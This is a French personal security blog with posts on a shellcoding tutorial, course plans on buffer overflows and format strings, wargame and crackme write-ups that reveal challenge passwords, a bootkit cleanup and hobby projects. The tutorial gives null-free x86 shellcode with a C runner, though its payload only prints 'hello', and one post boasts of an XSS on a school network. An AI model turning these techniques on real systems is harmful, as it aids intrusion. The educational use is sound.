0xtceb's lab

Pause du blog

2012-01-24T09:35:00.000-08:00

M'étant récemment mis sur un projet de "grande" envergure à la fois personnelle et professionnelle (bon ok j’exagère peut être un peu ) je me suis absenté de la sphère du blogging et de la sécurité pour une petite période encore...Ça me déplaît autant à moi qu'à vous. Ayant un emploi du temps assez chargé en ce moment je ne peux plus me permettre de mettre à jour mon blog :/

Pour vous faire une petite idée de ce sur quoi je travaille en ce moment,
il s'agit d'un algorithme léger d'amélioration d'image (autre qu'un filtre de bell ou de lanczos qui restent pas mal mais souvent trop lents pour l'utilisation que je veux en faire) , qui pourrait être utilisé à l'upload sur des sites qui proposent d'afficher des photos, je suis aussi actuellement sur deux ou trois projets qui sont donc liés à cette idée ce qui génère une masse de travail(fun) supplémentaire dans mon boulot de barbus.

J'ai aussi réuni une petite équipe pour bosser autour d'un concept (voir plus haut) qui pourra avoir le succès escompté :
Jeremy Castan , Romain Menard et Jean Daniel Boutet m'accompagneront donc dans cette petite expérience que je mettrais en ligne dans quelques mois, nous miserons sur un lancement du tonnerre de dieu !

A très bientôt j'espère !

Cour d'introduction à la sécurité applicative 02

2011-11-20T13:59:00.000-08:00

Bon ben apparemment le dernier petit cours s'est tellement bien déroulé que j'en fais un deuxième =)
Au programme pour ce Lundi 20/11/2011 à 8h30 (ouais ça pique) :

-Faille System (on la revoit, pour les nouveaux qui nous rejoignent)

-Race condition (J'hésite un peu..)

-Les shellcodes. (quelques notions d'assembleurs pourraient être fortement requises..Au pire cette partie durera plus longtemps)

-Création d'un shellcode basique.(quelques notions d'assembleurs pourraient être fortement requises..Au pire cette partie durera plus longtemps)

-BufferOverflow assisté (on la revoit, pour les nouveaux qui nous rejoignent)

-BufferOverflow avec exécution de code malicieux.

-FormatString assistée.

-FormatString avec exécution de code malicieux.

Voila ! Bien entendu, n'oubliez pas les VM ;) a Lundi !

Cour d'introduction à la sécurité applicative 01

2011-10-23T12:24:00.000-07:00

Au programme pour demain :

- Introduction à la sécurité informatique
- Un peu de C
- Premiers pas : La faille system, les races conditions, un buffer overflow assisté
- Introduction au reverse engineering
- Reverse d'une petite application

Pour ceux qui sont intéressés faites le moi savoir par mail : akbal.luc@gmail.com
Pré-requis : Une machine virtuelle qui tourne sur linux peut importe la distrib, tant que c'est du x86 !

Arduino robot

2011-08-25T08:48:00.000-07:00

Depuis que j'ai rejoins la communauté de développeurs d'aldebaran-robotics j'ai eu envie ces derniers temps d'avoir mon petit robot a moi =)

C'est pas vraiment ce que j'appellerais un projet, c'est plus une ébauche de ce que je suis capable de faire avec un tournevis, des servomoteurs, un peu de cable et une puce arduino ^^

Je commence a acheter des composants le mois prochain et je prendrais des photos/vidéos des étapes ! Et pourquoi pas transformer tout ça en tuto !

Remarquez : c'est impressionnant ce qu'on peut faire avec de la récup de nos jours ;)
http://letsmakerobots.com/node/28077?page=1

Challenge Bordelais

2011-08-18T06:12:00.000-07:00

J'ai très peu de temps en ce moment pour tenir a jour mon blog (un jour viendra où je pourrais m'y consacrer pleinement mais pour le moment c'est assez tendu...)

J'avais participé il y a peu de temps à la ST'HACK une compétition de sécurité informatique bien bordelaise et je n'avais pas vraiment eu le temps de faire un article digne de ce nom, ni de writeUp sur les épreuves d'ailleurs...
Voici donc un article made in IngeSup, nous étions l'équipe des pon3y ;)

Voici l'article

Les histoires de Bernard

2011-08-08T15:52:00.000-07:00

Un ami se lance dans le podcast =) j'ai décidé de lui faire un pt'it hommage en mettant le lien de son blog sur le mien... Comment ça c'est plus un outrage qu'un hommage ?

Les histoires de Bernard

Shellcoding

2011-07-27T09:43:00.000-07:00

Je me suis intéressé récemment à la création de shellcodes,

Un shellcode c'est une instruction en code machine confectionnée dans le but (en général) de se faire exécuter par un programme faillible dans le but de s'augmenter en privilèges, le challenge que ça représente tient en deux choses :

-Éviter un code trop grand (qui ne laisse pas de place, lors de l'exploitation d'un buffer overflow classique à l'écrasement du pointeur d'instruction par une adresse de retour)

-Le coder de manière a n'obtenir aucun null byte (\x00) puisqu'une fois exécuté ils sont interprétés comme une fin de chaîne.

Exemple sous linux avec hello :
On récupère en premier lieu le numéro du syscall qui correspond à WRITE() , cette fonction est en fait appelée nativement par des fonctions d'affichages plus connues comme puts ou printf, je me demande aussi si elles n'agissent pas comme des wrappers au final.
Ici le numéro du syscall pour WRITE() est 4.
Ensuite on va appeler EXIT() qui a pour numéro le 1.

main:
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx
movb $0x4,%al              //syscall pour write
movb $0x1,%bl             //STDOUT notre console
call afficher
push $0x6f6c6c65         //Hello world en little endian
push $0x00000068

afficher:
popl %ecx                     //On fait remonter la chaîne
movb $0x5,%dl            //Nombre de caractères dans notre chaîne
int $0x80                     //Interruption, exécution du syscall
xorl %eax,%eax
movb $0x1,%al        //syscall pour exit
xorl %ebx,%ebx
int $0x80                       //Interruption,exécution du syscall

Une fois compilé :

xtceb@xtceb-VirtualBox:~$ ./helloworld
hello

Ce qui donne en code machine :

helloxtceb@xtceb-VirtualBox:~$ objdump -d helloworld
helloworld:     file format elf32-i386

Disassembly of section .text:

08048054 <main>:
8048054:   31 c0                   xor    %eax,%eax
8048056:   31 db                   xor    %ebx,%ebx
8048058:   31 c9                   xor    %ecx,%ecx
804805a:   31 d2                   xor    %edx,%edx
804805c:   b0 04                   mov    $0x4,%al
804805e:   b3 01                   mov    $0x1,%bl
8048060:   e8 07 00 00 00          call   804806c <afficher>
8048065:   68 65 6c 6c 6f          push   $0x6f6c6c65
804806a:   6a 68                   push   $0x68

0804806c <afficher>:
804806c:   59                      pop    %ecx
804806d:   b2 05                   mov    $0x5,%dl
804806f:   cd 80                   int    $0x80
8048071:   31 c0                   xor    %eax,%eax
8048073:   b0 01                   mov    $0x1,%al
8048075:   31 db                   xor    %ebx,%ebx
8048077:   cd 80                   int    $0x80

Petit problème à l'appel de "afficher" on remarque que le call nous donne des zéros de terminaisons...
Il va falloir trouver une autre façon de coder notre hello :

main:
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx
jmp message
fin:
movb $0x4,%al
movb $0x1,%bl
popl %ecx
movb $0x5,%dl
int $0x80
xorl %eax,%eax
movb $0x1,%al
xorl %ebx,%ebx
int $0x80
message:
call fin
.string "hello"

Avec objdump :

xtceb@xtceb-VirtualBox:~$ objdump -d helloworld
helloworld:     file format elf32-i386
Disassembly of section .text:

08048054 <main>:
8048054:    31 c0                    xor    %eax,%eax
8048056:    31 db                    xor    %ebx,%ebx
8048058:    31 c9                    xor    %ecx,%ecx
804805a:    31 d2                    xor    %edx,%edx
804805c:    eb 11                    jmp    804806f <message>

0804805e <fin>:
804805e:    b0 04                    mov    $0x4,%al
8048060:    b3 01                    mov    $0x1,%bl
8048062:    59                       pop    %ecx
8048063:    b2 05                    mov    $0x5,%dl
8048065:    cd 80                    int    $0x80
8048067:    31 c0                    xor    %eax,%eax
8048069:    b0 01                    mov    $0x1,%al
804806b:    31 db                    xor    %ebx,%ebx
804806d:    cd 80                    int    $0x80

0804806f <message>:
804806f:    e8 ea ff ff ff           call   804805e <fin>
8048074:    68 65 6c 6c 6f           push   $0x6f6c6c65

Hop, il nous reste plus qu'à rassembler nos petites instructions machine :

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x11\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xea\xff\xff\xff\x68\x65\x6c\x6c\x6f

On peut dès à présent le tester pour voir si il marche :

char shellcode[]="\x31\xc0\x31\xdb\x31\xc9"
        "\x31\xd2\xeb\x11\xb0\x04"
        "\xb3\x01\x59\xb2\x05\xcd"
        "\x80\x31\xc0\xb0\x01\x31"
        "\xdb\xcd\x80\xe8\xea\xff"
        "\xff\xff\x68\x65\x6c\x6c\x6f";
int main()
{
    int (*func)();func = (int (*)()) shellcode;(int)(*func)();
}

xtceb@xtceb-VirtualBox:~$ ./shellcode
helloxtceb@xtceb-VirtualBox:~$

My sweet paranoïd Spotify...

2011-07-15T12:49:00.000-07:00

Récemment on m'a demandé si c'était possible d'enlever la pub sur Spotify alors forcément j'ai relevé le challenge =)

Le problème c'est que Spotify c'est vraiment l'archétype d'une application paranoïaque ! Le pire c'est qu'elle se permet de se fermer toute seule au moindre lancement de débogueur ; et attention, je ne parle pas juste d'attacher le processus a olly, juste le lancer sans rien faire d'autre et on se prend une trappe !

Alors ma curiosité émoustillée je vais gratter un peu plus loin :

J'essaie d'ouvrir sous IDA et j'ai pas plus d'indice...Résultat : coincé a la porte d'entrée quoi...
Un peu de recherche sur le net parce-que le reverse c'est pas vraiment ma compétence principale et je tombe sur un truc très interessant

spotify-vs-ollydbg

"The Macintosh version of Spotify has no anti-debugger protection at all"

C'est marrant qu'on fasse plus confiance au publique mac qu'à ceux du PC ... Si vous suivez le reste de l'article qui est pas trop mal foutu vous saurez pourquoi je déteste Apple et le reste du monde :D

Thanks to Hermance =)

Entrée en matière

2011-06-24T08:49:00.000-07:00

Plop, mes chers lecteurs !

Je viens de mettre à jour le site promotionnel qui accueillera la première partie du jeu Bugland !
Rien de bien important, juste une petite description énigmatique comme je les aime bien dans un jeu !

Je vous laisse le plaisir (ou pas) de visiter : http://www.bugland.tuxfamily.org/

Bugland is back in black

2011-06-22T01:27:00.000-07:00

Une petite touche musicale dans le titre =)
J'ai décidé de remettre sur pied le développement du jeu vidéo.

Toujours besoin d'un graphiste et d'un dév pour former un petit studio vite fait ;)

Le temps me manque toujours mais je pense que ce problème devrait être réglé d'ici peu !
J'ai décidé que je mettrais en ligne le code source, ainsi que certaines explications techniques pour ceux qui voudraient se lancer dans le jeu vidéo.
C'est de la 2D à l'ancienne, je supporte pas programmer avec les API pour sortir des machins new wave 3d qui prennent un temps fou a faire pour un rendu pas forcément génial...

Bref ! Le dev reprendra de zéro dans un peu plus d'une semaine !

<3,
0xtceb, président du studio Calm production.

0xtceb vs Bootkit BOO/TDSS.m

2011-06-12T18:01:00.000-07:00

L'épisode commence au moment où mon pc s'éteint brusquement sans prévenir... :s
Moi, patient comme jamais essaie de le rallumer nombres de fois sans succès !

C'est au bout de la 5eme fois que je commence à me dire que oui, je me suis pris une saloperie de l'espace... Je cherche je cherche pas mal de temps sans trouver avant de m'orienter vers un problème lié au MBR (Master Boot Record) qui a forcément dû être corrompu...
Le MBR amorce la routine qui permet de charger le système d'exploitation et effectivement c'était vraiment plausible vu que je pouvais arriver au menu du bios sans problèmes !

Donc la théorie c'est que :

1) Je me suis fait corrompre une partie des 512 bytes qui composent la zone d'amorce
2) Le but du virus à l'origine n'était pas de crasher mon pc mais plus de le patcher
3) Un gros fail du virus qui m'a complètement pourris :'(

Hop je choppe une ISO d' Hiren's Boot pour auditer le tout et j'en profite pour réécrire le MBR tout pourris par un machin bateau (tout en lançant un petit AV) .

Résultat :

1) MBR reconstruit (mais pas la version du constructeur :s )
2) Virus identifié sous le nom de : BOO/TDSS.m

Je redémarre le PC et... Enfin une erreur ! :p

/system32/hal.dll introuvable
/system32/winloader.exe introuvable

J'en profite pour loler un peu ^^ "Un malheur jamais seul n'arrive"

Évidemment c'est une erreur classique venant d'un boot corrompu (lui aussi)... Et forcément, j'ai pas le cd de réparation sous la main...
Après une bonne journée j'en choppe un et j'entame la réparation du boot qui fini par fonctionner !

Mes yeux s'ouvrent sur une demande de mot de passe de session :)
je tappe le mdp... Écran d'accueil...Petite musique... ET BAM ! V'la ti pas que j'ai un vieux virus type Rogue AV qui se lance au démarrage !

Je commence vraiment a péter un câble ^^ alors :

1) Mode sans Échecs
2) Google ==> MBAM
3) Mise à jour de MBAM : FAIL
4) Reboot sous MiniXP ===> maj de MBAM : OK
5) Mode sans Échecs & Scan avec MBAM
6) 15 infections trouvées ! Toutes désinfectées ;)

Au final tout remarche comme avant ! Je ne saurais jamais le vrai but du virus original BOO/TDSS.m a part faire planter le PC et faire gagner de l'argents au réparateurs à deux balles qui proposeront un formatage qui ne réglera de toute manière pas le problème (sauf bas niveau)

Si quelqu'un connait le fonctionnement de cette saloperie je suis preneur !

Malware Infected...

2011-06-09T06:20:00.000-07:00

Plop tout le monde !
Le blog sera bientôt updaté si je puis dire ;)

Le truc c'est qu'en ce moment je combat une petite saloperie de malware (type bootkit) qui s'est un peu fait les dents sur mon pauvre pc de la mort... Résultat un MBR foutu et un boot tout pourrit...
Le combat a duré des jours, et finalement dans le sang et la sueur j'ai vaincu...
Mais je n'ai pas eu le temps de savourer ma victoire que j'avais déjà commis une terrible erreur..
A peine le bootkit enlevé, je dois maintenant faire face à une foutue rogue AP...

Ça va durer moins longtemps cette fois-ci ;) je vous tiens au courant !

ST'Hack (Little) WriteUp

2011-06-03T08:17:00.000-07:00

Ça va faire maintenant un petit moment que j'étais out, j'ai pas mal de projets en cours et ça me pompe du temps comme c'est pas croyable ! Il faudrait absolument que je trouve une méthode pour éviter de dormir et gagner environs 7h00 de boulots par jours, si quelqu'un à ça sous la main je suis preneur :p

Bref, je voulais un peu parler du déroulement du CTF de la semaine dernière !

Très beau cadre l'école d'ingeSup sur Bordeaux est très jolie il faut l'avouer, un des organisateurs du tournois est un membre de nibbles.

Au menu de bonnes épreuves applicatives comme je les aimes ! Malheureusement je n'ai pu en valider aucune :s on s'est concentré sur les épreuves Web, niveau temps ça et la crypto c'était bien plus jouable.

On avait jusqu'à 2h00 du matin pour poutrer de la faille ! Alors forcément j'ai fait mon stock de:

Comme vous pouvez le voir, il me faut quand même un petit peu de carburant
sinon je ne fonctionne pas à 100% !

ST'HACK 2011

2011-05-21T04:10:00.000-07:00

Dans une petite semaine a lieu sur Bordeaux une compétition de sécurité informatique : la ST'HACK

Powered by IngeSup c'est une des premières du genre dans cette ville, donc, forcément je serai de la partie
avec un pote et deux de ses collègues !
Notre team ? Les Pon3y.... (Ouai bah il fallait bien trouver un titre accrocheur hein)
Peut-être, qui sait que des gens de zenk-security pointeront le bout de leur nez =)

Le programme est assez classique, des épreuves de reverse, du smashTheStack, de la crypto...
Comme Xylitol l'a fait remarquer la description des challenges est un peu borderline :

"Une application vous demande une clé d'enregistrement ?
Votre licence de 30 jours gratuits arrive à expiration et vous vous prenez des Nag Screen intempestifs vous réclamant de l'argent ? Une copie de jeu détecte son invalidité ?
Reversez votre programme et déroulez-le jusqu'à l'origine de votre problème afin de faire sauter ces requêtes intempestives."

On dirait une traduction google d'un article wiki en anglais ^^

M'enfin on verra si les épreuves tiennent la route ! Je vais voir ce que je peux faire pour les récupérer et faire un petit writeUp en suivant.

Lightning Map With My Face

2011-05-08T09:19:00.000-07:00

Une après-midi de formation un vendredi je voulais jouer avec les niveaux de gris de mes photos
et coupler ça avec un petit rendu DirectX--- C# vu que je voulais pas forcément y passer la nuit. Bien qu'au final ça m'ait pris un peu de temps...
J'ai finalement un petit tool qui prend une photo, et sort un mesh .x avec votre tête en 3D =)
Inutile ? Oui mais indispensable.

Bugland.sleep();

2011-04-17T10:37:00.000-07:00

Le projet bugland pour le moment me prend trop d'espace dans le peu de temps libre que j'ai...
Je sais, c'est pas fun de dire ça pour un développeur :s

Mais ce n'est qu'une petite pause pour le moment, d'autant plus que j'ai quelques aspirations pour ce petit jeu (IGF) .

Le développement ne s'arrête donc pas, c'est juste temporaire.
A la future reprise je chercherais sans doute un graphiste et un autre développeur qui a du temps à perdre :) .
Donc haut les cœur ! Je veux un jeu qui fasse péter les pixels !

0xtceb,

président du studio "Calm Production"

(équipe de développement Bugland)

ZOMG-Compressor

2011-04-05T08:54:00.000-07:00

Oui, nouvel algorithme, nouveau nom. Ça va de soit :)
Il se trouve messieurs et... Mesdames ?..Que j'ai en effet amélioré la méthode de Huffman qu'on ne présente plus, mais qu'en plus cette fois-ci ça a l'air de fonctionner plutôt pas mal.

Objectif premier, avoir une statue à mon nom :p (non pas pour tout de suite)
La compression sur les fichiers de tailles supérieure à 200~300M ne génèrent pas d'entropie.
Par contre... Les autres, ceux qui sont inférieurs en taille en génèrent donc la release c'est pas pour tout de suite les petits !

Mail d'avril From TuxFamily

2011-04-03T06:28:00.000-07:00

J'avoue que je me suis fais avoir ^^
-----------------------------------------------------------

Bonjour,

Après à peine 1 mois, notre campagne de dons a porté ses fruits et notre
objectif de 4000 euros a été atteint.

Il est désormais temps pour nous d'employer l'argent ainsi récolté. Au
vu des nouveaux déroulements intervenus pendant la campagne, nous avons
décidé d'utiliser ces fonds pour remettre notre architecture au niveau
des exigences de la LOPPSI 2 (Loi d'orientation et de programmation pour
la performance de la sécurité intérieure). TuxFamily a en effet toujours
attaché de l'importance au respect de la loi républicaine.

Poursuivant notre habituelle politique de transparence, voici une
sélection des informations les plus pertinentes par rapport à ce projet.

Afin d'assurer une meilleure traçabilité des échanges entre nos serveurs
et le reste du monde, nous allons mettre en place une solution
d'authentification unique. Utilisateurs et visiteurs devront dorénavant
à s'identifier pour accéder aux contenus et services hébergés.

Ainsi, lorsqu'un internaute accèdera au site http://www.vhffs.org/, il
sera immédiatement redirigé vers un portail d'authentification lui
permettant de s'identifier ou de s'inscrire s'il ne l'est pas déjà. Il
sera ensuite renvoyé vers http://www.vhffs.org/ et pourra continuer son
surf comme si de rien n'était sur tous les sites web hébergés par
TuxFamily. Ainsi, de notre côté, nous aurons toutes les informations
nécessaires pour savoir qui a fait quoi à quel moment, et aiderons ainsi
à rendre Internet plus sûr et plus sain.

Des dispositifs similaires seront progressivement mis en place sur les
autres services : espaces de téléchargement, Subversion/Git/Mercurial,
IRC/Jabber, POP/IMAP/Webmail.

Comme nous avons bien conscience que retenir un mot de passe complexe de
plus est fatigant et indigne d'une informatique du XXIème siècle, votre
identifiant sera associé à un code PIN à quatre chiffres, beaucoup plus
facile à mémoriser et saisir (exemple : vous pouvez utiliser votre date
de naissance).

Autre avantage : même si vous ne le retenez pas, notre portail
d'authentification unique intègrera une fonctionnalité de récupération
du code PIN qui vous renverra ce sésame par le moyen de votre choix sans
que vous ayez à inventer et mémoriser un nouveau code PIN. En effet,
d'un point de vue technique, le stockage interne de ce code PIN se fera
"en clair".

Ce système sera ultérieurement exploité pour fournir des statistiques
plus détaillées sur vos sites web. Les éléments ayant permis la
constitution de ces statistiques détaillées seront bien entendu à
disposition des services judiciaires si besoin est.

En ce qui concerne l'implémentation, nous nous basons comme à notre
habitude sur des solutions existantes. Dans ce cas précis, nous avons
été séduits par les offres logicielles d'une société basée à Armonk,
dans l'état de New-York. Bien que le coût de ces solutions représente
une importante partie du budget dédié à l'opération, nous avons été
séduits autant par l'honnêteté de nos interlocuteurs que par la
pertinence de leurs solutions.

À noter que d'autres projets internes sont en cours d'élaboration pour
s'approcher de l'objectif enthousiaste de « capter en temps réel les
données informatiques telles qu'elles s'affichent à l'écran d'un
ordinateur ou telles qu'elles sont introduites lors d'une
saisie de caractères » évoqué dans la LOPPSI.

Mais pour le moment, nous devons travailler à mettre tout cela en place,
et nous n'excluons pas que le budget initialement prévu s'avère
insuffisant. Aussi, n'hésitez pas à poursuivre les dons afin de nous
soutenir dans cette phase de changement, indispensable pour rester un
hébergeur indépendant ET moderne.

L'équipe de TuxFamily.org

Wargame Leviathan, challenges à la portée de tous

2011-03-27T10:48:00.000-07:00

Oui, qu'on ne me dise plus "oui il faudrait que je m'y mette" ou encore "Je comprends pas trop le concept" .
Là, vous ne pourrez plus m'envoyer votre incompréhension en pleine face.
Voici à quoi ressemble le niveau 2 (parce-que le premier c'est pas vraiment un challenge que de savoir faire un grep) :

Le binaire a exploiter ici, c'est "check" parce-qu'il est UID Level3 & Level2 et comme nous sommes au niveau 2... Gotcha ?

On le lance, on se prend une trappe à cause du mot de passe qu'on ne connait bien évidemment pas.
Heureusement le serveur du challenge a les outils qu'il faut, où il faut.
Alors, soit on se la joue vrai mec cool et on lance GDB pour apprendre des trucs, soit on se la joue petit branleur avec ltrace.
Allé ! Je lance ltrace ! :) (non je déconne, je suis un cool dude)

On remarque la présence (ô combien inattendue) d'un petit STRCMP à la ligne 133
qui va comparer le mot de passe que je rentre et celui qui est en dur dans le binaire.
On y place un Breakpoint et on lance le carrosse :

Le mot de passe est donc sex . Et ça nous ouvre un shell vers le niveau suivant.
Cmon ! Mettez vous-y un peu !

Krack-It | DareYourMind

2011-03-26T04:55:00.000-07:00

Ouaip, de temps à autres je fais des challenges (sisi)
ils sont plus ou moins fun et je me prends plus ou moins la tête (plus que moins)

Aujourd'hui je suis d'humeur Spoiler, je vais vous parler d'une épreuve crack-it (en Français dans le titre) . Si vous connaissez pas il s'agit tout simplement d'une petite application qu'il faut cracker, d'où le nom.

Pour valider l'épreuve il faut donc trouver un mot de passe, j'aime bien parce-que en reversing je suis une daube :) .
Voici à quoi ça ressemble quand on lance l'app :

On va voir ce qui se passe si je lance ça avec odbg et un paramètre à la con :

On va aussi se balader un peu dans les strings du binaire pour voir si y'a pas quelque chose d'intéressant (je m'en doute parce-que l'épreuve n'a pas un niveau de difficulté hard)

Un message Bad boy qui traine, que ce passe-t'il à cet offset ?

Donc on a un JNE, qu'on va tout de suite s'empresser de BP, et on va lancer l'application.
Le JNE avec le paramètre qu'on a donné au binaire, tombera forcément sur le message Bad Boy.
Mais ce qui est marrant, c'est qu'il est possible de voir en clair avec quoi notre mot de passe à la con est comparé dans la pile. Oui je découvre en même temps que vous et je suis un noob (i know that).
Là je redis bien que le but c'est de trouver le mot de passe hein ! Parce-que NOPer le JNE c'est pas très dur...

La ligne que je sélectionne ici, c'est en fait la comparaison qui se fait lors du Jump, la suite numérique juste en dessous c'est le paramètre en fait (parce-que "à la con") ça fonctionnait pas (on s'en doutait ^^)
Si mot de passe différent de "RotEncryption" alors Bad Boy. C'est tout con comme épreuve mais je fais mes armes dans ce genres de trucs en ce moment.

Keyboard Back | Bad articles too !

2011-03-25T09:23:00.000-07:00

Je profite de mon clavier pour écrire un nouveau billet sans intérêt sur ma vie :) .
En effet,
le saviez vous ?
-Renverser de la sauce sur son ordinateur peut sérieusement altérer son fonctionnement.

Oui vous le saviez probablement, mais je reste certain qu'il faut savoir souligner certaines choses dans la vie pour éviter que celles-ci ne se produisent encore et encore.
Alors voici les étapes que j'ai suivis pour résoudre mon problème.
(Il ne faut pas faire comme moi)

-Vous avez pas envie de payer une presta chez le réparateur ? Faites le vous même :)
-Vous ne savez pas démonter le clavier d'un pc portable Quosmio G50 ? Allez sur google :)
-Vous avez un peu peur d'enlever la nappe branchée sur le circuit imprimé ? Dites-vous que de toute façon le clavier est foutu, ça peut pas être pire.
-Vous arrivez enfin à débrancher le clavier et la vous vous rendez compte que ça va être hard de le remettre en état ? Pas grave, ça peut pas être pire, on le met dans l'eau, on essuie comme un bourrin parce-qu'on est énervé.
-Vous avez enfin nettoyé votre clavier ? Rebranchez-le (séché) et regardez si ça marche :D :D
-Ça ne marche pas ? Des touches sont pétés à force de nettoyer ? Achetez un nouveau clavier.

Le saviez vous ? Renverser de la sauce sur son pc, coute des heures de son temps et 50 euros.

Merci.

Luc's Compressor : Huffman is F***ing better Than Run-Lenght-Encoding

2011-03-17T11:12:00.000-07:00

Bon, le Kompressorius aka Luc's Compressor fonctionne maintenant pas trop mal :)
fini la compression binaire. En effet depuis le temps je me suis enfin délesté de la méthode "Run-Lenght-Encoding"...L'algorithme est extrêmement simple puisqu'il s'agit d'une substitution sur les 1 et les 0. Mais comme je l'ai expliqué dernièrement ça coince si il y a une répétition type 1010101110101 (ou un machin dans le genre) bref...

Le truc pour le moment serait d'avoir un taux de compression supérieur aux compresseurs actuels, donc il me faut une petite idée. Bien sûr je n'ai pas totalement abandonné Run-Lenght, je l'ai amélioré à l'aide de statistiques pour contourner le problème des enchaînements de suites et l'entropie que ça peut attirer au niveau de l'augmentation de la taille suivant le codage, après avoir rajouté le codage de Huffman à ma solution j'obtiens un taux de compression presque égal à WINRAR et les autres n00bs ^^.
Mais il ne faut pas rêver, obtenir un score plus élevé sur des données déjà ultra-optimisées ça relève vraiment du miracle. 10 fois n'est pas coutume, je me remet les mains dans le cambouis !

Juste 10% de plus qu'un compresseur classique et je suis riche ! Allé hop !

Legeeeeenn W8 F0R 1T.... DARYYYYY

2011-03-12T15:03:00.000-08:00

Oui, il s'en est fallu de peu pour que le lancement de mon décompresseur ne soit en fait qu'un espèce de gros simili-virus qui défonce tout sur son passage...
Les algorithmes marchent, la décompression est censée fonctionner...

Je clique sur "Extraire en .Luc" et là je vois que le fichier temporaire reste anormalement longtemps, je m'aperçois un peu tard que le fichier avait déjà pris 30 gigas et ça c'est : PAS COOL

Donc je viens de créer un machin qui attire l'entropie de l'information sur mon PC. qui finira sans doute par se transformer en super nova puis s'effondrer sur lui même avant de lâcher un dernier râle....
Faites attention, je dit volontairement n'importe quoi pour attirer votre attention sur le fait que je viens de travailler 3h00 pour RIEN !

Luc's Compressor Rennaissance F-A-I-L

2011-03-12T06:03:00.000-08:00

Oui, je ne voulais pas lâcher prise ! Je voulais devenir milliardaire avec mon compresseur de fichier de la mort que même google, winrar et les autres débutant ne pouvaient pas créer !
Avec une petite dose de mon génie (really ?) je me suis relancé dans un autre concept tortueux pour faire fortune.
Le Luc's compressor utilise maintenant la méthode du Codage de Huffman (un mec bien).
Il comprends aussi d'autre fonctions pour compresser au maximum les données comme Run-Lenght-Encoding (mais ça vous connaissez déjà si vous lisez mon blog de temps en temps; et si non, tant pis)

Mais vous savez quoi ? Ben finalement a vouloir chercher des choses pour faire du fric, on fini par se casser les dents sur des choses qui sont déjà faites depuis plus de 15 ans...Alors, qu'est-ce que je viens de créer ? Un WinZip mais en moins bien. Applause !

Ma première auto-censure :')

2011-03-08T11:15:00.000-08:00

Ah ! Les joies de la restriction !
Je m'apprêtais à faire une petite connerie ! :D
Critiquer le CESI ? Moi ? Jamais !
Comment ? Une critique sur le réseau le plus "sécurisé" de tout les temps ? Oh non monsieur vous devez vous méprendre !
Moi, mettre un lien sur mon blog vers le site du CESI en exploitant une petite XSS pour afficher "lol" ? Surtout pas !
Moi, montrant comment bypasser la limitation SSH, FTP et Youtube du réseau ? Que-né-ni monsieur, que-né-ni !

Site promo Evolved

2011-03-07T08:03:00.000-08:00

Ça fait un moment maintenant que je code la première partie de mon super Hit (Bugland),
du coup j'avais complétement abandonné mon site promotionnel....

En plus de rajouter des fonctionnalités je vais aussi mettre une petite démo jouable sur le navigateur en HTML5.
Les failles à exploiter seront orientées WEB. Mince...Ça risque de rallonger le développement !
Surtout que je vais reprendre les classes du jeu (exe) pour en faire quelque chose de plus...Jouable.
Honnêtement je ne sais pas combien de temps ça va me prendre.

Une chose est sûre, il est vraiment à l'ordre du jour de sortir une première partie histoire de voir si ça plais
(traduction : si je suis tout seul à aimer :p )
Je précise aussi que je n'ai besoin de personne pour le développement, je voudrais vraiment que le jeu soit "made by me" parce-que, des idées farfelues j'en ai à la pelle et en équipe ça risque de ne pas passer ^^

Dès que le côté "promo" du site est terminé je demanderais surement de l'aide, par contre aux graphistes en herbe s'ils veulent voir leurs jolis petits sprites se balader dans l'espace (et au-delà) !

En attendant je vous souhaites un très mauvais Lundi et une bonne semaine :)

Bugland == Fun == Exploit == Security == Pas en C#....

2011-03-01T12:01:00.000-08:00

Et oui...Mauvaise piste...
Le fait de coder ce bouzin en C# va carrément limiter les joueurs qui voudront jouer avec le feu...
Et ça va me limiter au niveau du code moi aussi :s (j'aurais jamais pensé dire ça un jour) .
Donc, ne vous en faites pas :) , le jeu est entre de bonnes mains je vais juste retirer les "failles" internes qui s'y trouvent, et déplacer les épreuves (toutes) sur des box de challenges.

Et oui, il s'en trouve, que même l'expérience utilisateur va être revue à la hausse. Malgré la génération aléatoire des levels, certains bosses qui frisent le mass flood missile dans tout les sens, je trouve que c'est encore trop facile :)

Maintenant que c'est un peu plus clair dans ma tête, je vais voir si je peux pas me débrouiller pour faire une release par niveaux ! ça pourra me donner le temps de peaufiner tout ça...

Bugland's Project

2011-02-25T10:02:00.000-08:00

Je fais une petite pause sur la rédaction de l'article sur les Heap-Based Buffer overflow
pour vous faire une huuuge pub ultra commerciale et super sérieuse sur mon jeu vidéo développed by me
utilisant les ressources des Bitmap Brothers sur Xenon2000...Comment ? Pas sérieux ?
Moi, sérieux en même temps... :)

Voici quelque temps je me suis demandé ce que ça donnerai d'avoir un jeu vidéo (geek) qui pouvait allier sécurité informatique (super geek) et fun (un peu geek), j'ai donc pris le concept d'un pauvre pilote dans l'espace en l'an 5000 qui se balade en territoire ennemi, tout nu si je puis dire, et qui, comme par hasard a un ordinateur de bord super Evil qui veut sa mort.
Et voila ce que ça donne en image (pour le moment)

C'est l'intro. Et pour mettre dans l'ambiance, y'a de l'héxa derrière ! Ça c'est geek hein ? ;)

On traverse un champs de gros cailloux, et c'est à ce moment que l'ordinateur se met à déconner.
Vous n'avez pas d'arme, et c'est là que le concept arrive...Tada !
Vous devez vous servir de votre gros cerveau de geek pour forcer les petites protections du jeu (contrôlées), afin de débloquer les armes selon le niveau. Pour passer les Boss il faut résoudre un challenge applicatif un peu plus dur présent sur une Box type intruded.net
Je n'en dévoilerais pas plus pour le moment ah ah ! ah... :(

Et sans plus attendre, le site promo ! Parce-que pour tout jeu indépendant il en faut un non ? Non ? Ah bon...
BUGLAND le SITE !

Les Heap Overflow

2011-02-02T14:26:00.000-08:00

L'objectif de cet article est de se servir d'un programme simple et faillible pour y introduire le concept du heap-based buffer overflow. N'y comprenant pas grand chose non plus de mon côté j'ai cru bon d'étudier ce sujet avec mon ami google, Phrack, exploit-db et quelques autre sources.
Je ne vais bien entendu pas réinventer la roue qui roule déjà très bien, il faut l'avouer :)
Ce qui est bien c'est qu'il s'agit bien là d'une faille type buffer overflow sauf qu'on ne cible pas nécessairement le pointeur d'exécution EIP comme dans ceux qui sont orientés stack et dont j'ai fait une petite description il y a quelques temps.
